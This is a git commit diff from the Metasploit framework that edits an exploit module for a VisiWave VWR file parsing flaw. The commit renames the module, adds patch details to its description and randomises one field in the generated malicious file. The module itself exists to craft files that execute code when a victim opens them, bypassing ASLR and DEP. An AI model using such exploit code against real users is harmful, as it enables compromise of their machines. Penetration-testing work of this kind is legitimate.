Couldn't help but patch-diff it and updated the description again
git-svn-id: file:///home/svn/framework3/trunk@12710 4d416f70-5f16-0410-b530-b9f4589650daunstable
parent
ecaeac1f6e
commit
0c60fe5a4b
|
@ -18,7 +18,7 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
|
||||
def initialize(info = {})
|
||||
super(update_info(info,
|
||||
'Name' => 'VisiWave VWR File Parsing Buffer Overflow',
|
||||
'Name' => 'VisiWave VWR File Parsing Vulnerability',
|
||||
'Description' => %q{
|
||||
This module exploits a vulnerability found in VisiWave's Site Survey Report application.
|
||||
When processing .VWR files, VisiWave.exe attempts to match a valid pointer based on the 'Type'
|
||||
|
@ -26,10 +26,12 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
'Image'), but if a match isn't found, the function that's supposed to handle this routine
|
||||
ends up returning the input as a pointer, and later used in a CALL DWORD PTR [EDX+10]
|
||||
instruction. This allows attackers to overwrite it with any arbitrary value, and results code
|
||||
execution. This module was built to bypass ASLR and DEP.
|
||||
execution. A patch is available at visiwave.com; the fix is done by XORing the return value as
|
||||
null if no match is found, and then it is validated before use.
|
||||
|
||||
NOTE: During installation, the application will register two file handle's, VWS and VWR and allows a
|
||||
victim user to 'double click' the malicious VWR file and execute code.
|
||||
victim user to 'double click' the malicious VWR file and execute code. This module was also built
|
||||
to bypass ASLR and DEP.
|
||||
},
|
||||
'License' => MSF_LICENSE,
|
||||
'Author' =>
|
||||
|
@ -124,7 +126,7 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
vwr_data << "RightMargin: 100\r\n"
|
||||
vwr_data << "TopMargin: 50\r\n"
|
||||
vwr_data << "BottomMargin: 50\r\n"
|
||||
vwr_data << "Item: lol\r\n"
|
||||
vwr_data << "Item: #{rand_text_alpha(3)}\r\n"
|
||||
vwr_data << "Checked: 1\r\n"
|
||||
|
||||
print_status("Creating '#{datastore['FILENAME']}'...")
|
||||
|
|
Loading…
Reference in New Issue